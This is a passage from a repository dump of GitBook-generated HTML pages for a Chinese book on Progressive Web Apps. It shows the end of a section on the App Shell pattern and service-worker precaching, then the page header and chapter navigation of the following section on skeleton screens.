punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/js/app.e9b2b9e109561a7201f5.js&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;a28433e856b3e149bac022df934eb94e&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/js/manifest.69fbe521a6bc723a8ce1.js&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;c6b6fbf7902cd5325b5b1d43045db622&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/js/vendor.7bb72363822163e0f3b3.js&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;38d1baa4e38eeab57826462846900d69&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span><span class=\"token punctuation\">[</span><span class=\"token string\">&quot;/static/manifest.json&quot;</span><span class=\"token punctuation\">,</span><span class=\"token string\">&quot;a521180656694782bc69a54ee5900dfb&quot;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">var</span> cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;sw-precache-v3-sw-cache-chapter02-appshell-&apos;</span> <span class=\"token operator\">+</span> <span class=\"token punctuation\">(</span>self<span class=\"token punctuation\">.</span>registration <span class=\"token operator\">?</span> self<span class=\"token punctuation\">.</span>registration<span class=\"token punctuation\">.</span>scope <span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n</code></pre>\n<h2 id=\"&#x603B;&#x7ED3;\"><a name=\"&#x603B;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x7ED3;</h2>\n<p>&#x603B;&#x7ED3;&#x6765;&#x8BF4;&#xFF0C;App Shell &#x628A;&#x7AD9;&#x70B9;&#x5185;&#x5BB9;&#x5212;&#x5206;&#x4E3A;&#x201C;&#x53D8;&#x201D;&#x548C;&#x201C;&#x4E0D;&#x53D8;&#x201D;&#x4E24;&#x4E2A;&#x90E8;&#x5206;&#xFF0C;&#x518D;&#x8F85;&#x4EE5; Service Worker &#x6280;&#x672F;&#x5C06;&#x201C;&#x4E0D;&#x53D8;&#x201D;&#x7684;&#x90E8;&#x5206;&#x7F13;&#x5B58;&#x8D77;&#x6765;&#xFF0C;&#x4EE5;&#x8FBE;&#x6210;&#x5FEB;&#x901F;&#x52A0;&#x8F7D;&#x9875;&#x9762;&#x7684;&#x6548;&#x679C;&#x3002;</p>\n<p>&#x901A;&#x8FC7; App Shell &#x548C; Service Worker&#xFF0C;&#x6211;&#x4EEC;&#x6709;&#x529E;&#x6CD5;&#x8BA9;&#x201C;&#x4E0D;&#x53D8;&#x201D;&#x7684;&#x90E8;&#x5206;&#x5FEB;&#x901F;&#x5C55;&#x73B0;&#xFF0C;&#x90A3;&#x4E48;&#x9488;&#x5BF9;&#x201C;&#x53D8;&#x201D;&#x7684;&#x90E8;&#x5206;&#xFF0C;&#x6211;&#x4EEC;&#x6709;&#x4EC0;&#x4E48;&#x529E;&#x6CD5;&#x8BA9;&#x5B83;&#x5C55;&#x73B0;&#x5F97;&#x66F4;&#x5FEB;&#x5462;&#xFF0C;&#x6216;&#x8005;&#x8BA9;&#x5B83;&#x201C;&#x770B;&#x8D77;&#x6765;&#x201D;&#x66F4;&#x5FEB;&#xFF1F;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x518D;&#x63D0;&#x51FA;&#x53E6;&#x4E00;&#x79CD;&#x65B9;&#x6848;&#xFF0C;&#x5B83;&#x867D;&#x7136;&#x4E0D;&#x80FD;&#x5728;&#x5B9E;&#x8D28;&#x4E0A;&#x63D0;&#x5347;&#x9875;&#x9762;&#x7684;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#xFF0C;&#x4F46;&#x53EF;&#x4EE5;&#x8BA9;&#x5B83;&#x5728;&#x611F;&#x5B98;&#x4E0A;&#x66F4;&#x5FEB;&#xFF0C;&#x5B83;&#x5C31;&#x662F;&#x4E0B;&#x4E00;&#x8282;&#x8981;&#x4ECB;&#x7ECD;&#x7684;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-design-and-tech.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2.2 设计与技术\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-app-skeleton.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2.4 骨架屏\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2.3 App Shell\",\"level\":\"1.3.3\",\"depth\":2,\"next\":{\"title\":\"2.4 骨架屏\",\"level\":\"1.3.4\",\"depth\":2,\"path\":\"chapter02/4-app-skeleton.md\",\"ref\":\"chapter02/4-app-skeleton.md\",\"articles\":[]},\"previous\":{\"title\":\"2.2 设计与技术\",\"level\":\"1.3.2\",\"depth\":2,\"path\":\"chapter02/2-design-and-tech.md\",\"ref\":\"chapter02/2-design-and-tech.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02/3-app-shell.md\",\"mtime\":\"2019-06-19T10:37:41.999Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02/4-app-skeleton.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2.4 骨架屏 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"5-responsive-design.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-app-shell.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"1-what-is-good-ux.html\">\n            \n                <a href=\"1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"2-design-and-tech.html\">\n            \n                <a href=\"2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"3-app-shell.html\">\n            \n                <a href=\"3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.3.4\" data-path=\"4-app-skeleton.html\">\n            \n                <a href=\"4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"5-responsive-design.html\">\n            \n                <a href=\"5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n   